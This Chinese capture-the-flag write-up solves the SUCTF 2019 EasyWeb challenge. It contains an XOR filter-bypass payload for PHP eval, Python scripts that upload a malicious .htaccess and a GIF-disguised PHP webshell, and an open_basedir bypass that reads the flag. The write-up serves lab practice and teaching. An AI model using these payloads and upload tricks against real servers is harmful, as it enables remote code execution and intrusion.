IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [SUCTF 2019]EasyWeb -> 正文阅读

[PHP知识库][SUCTF 2019]EasyWeb

文章目录


前言

学习完这道题,受教了~

往往直接给出源码的题目,知识量要求不是很广,但是要求学习精度要很高~


一、bypass

观察源码,发现这里的preg_match()函数运用得很严格,就是把所有的数字和字母都过滤了,而且还过滤了一些特殊字符~

可以尝试稍微fuzz一下可视字符,看看有哪些是可以使用的。

<?php 
	for($i=0;$i<128;$i++)
	{
		if(preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)))
			continue;
		else
			echo (chr($i));
	}
?> 
结果:
!#$%()*+-/:;<>?@\]^{} 

发现这一段限制了使用字符的种类不能超过'12'。

其中看到这里就可以大致了解到这是一个考点为“取反”、“异或”绕过类型

但是由于我们fuzz后得到的可视字符中没有“取反符号”——“~”

所以这是一个考察“异或bypass”的知识点。

所以这里我参考了别人的PHP脚本:

<?php
$l = "";
$r = "";
$argv = str_split("_GET"); //这里是要异或的字符串
var_dump( $argv);
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(254);      //dechex(254) =fe    %fe是一个不可视的字符,一般过滤不到,dechex()是将十进制转为16进制
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%fe";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%fe";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";   //这里不直接使用^是为了能正常输出显示
?>

得到:

\{%fe%fe%fe%fe`%a1%b9%bb%aa\}

我们修改一下关键部分:%fe%fe%fe%fe^%a1%b9%bb%aa

最后这里是可以相当于注入点

我们修改一下GET传参内容:?

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo

相当于

?_=${_GET}{%fe}();&%fe=phpinfo

相当于

?_=${_GET}{phpinfo}();

经过eval($hhh);

相当于eval(phpinfo());

这样就可以执行我们的函数了

注意:需要通过phpinfo()来发现当前工作的目录环境

这里为:/var/www/html

二、文件上传

之前都是有文件上传页面的,所以这次是我第一次使用脚本去上传文件~~(有点菜)

观察这一段代码,有三层的过滤:

第一层:过滤了含有字符串“ph”的文件名

第二层:过滤了开头部分“<?”

第三层:过滤非图片文件

解决方式:

一、使用.htaccess文件上传

因为使用.user.ini需要目录有.php文件,这里还不好判断

二、原本是打算使用<script>标签来绕过的,但是通过之前的phpinfo发现这PHP版本高于7.2了,所以这个标签被废除了。

这里是使用了base64编码来绕过的。(一会看了EXP就清楚了)

三、在文件头添加大小标识、或者使用图片头都可以

#define width 1000
#define height 1000

或者

GIF89a

这个get_the_flag()函数是用来给我们上传木马文件的,所以这里需要跟我们之前的bypass联动起来。

import requests
import base64

url="http://4051edd0-8f0a-4a0e-b2c0-45c0b74666cb.node4.buuoj.cn/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
file_all={'file':('.htaccess',file_content,'image/jpeg')}

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

结果:

通过“蚁剑”远程连接http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/upload/tmp_020598b5c37fc1206644e58debc9ecf2/get.jpg

发现无法直接连接到目标服务器

?

通过大佬们的WP发现了open_basedir限制了我们访问的目录。

open_basedir知识点

修改脚本后,直接在脚本上获取目录信息

import requests
import base64

url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all={'file':('.htaccess',file_content,'image/jpeg')}

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

#开始执行
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
end=requests.post(url=url+response2.text+cmd)
print(end.text)

结果是:

?

?再次修改脚本

import requests
import base64

url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all={'file':('.htaccess',file_content,'image/jpeg')}

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

#开始执行
#cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/THis_Is_tHe_F14g');"
end=requests.post(url=url+response2.text+cmd)
print(end.text)

结果是:

?完


总结

暑假还是要加把劲啊,这速度跟不上了~

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-05 17:07:16  更:2021-08-05 17:08:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 1:49:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码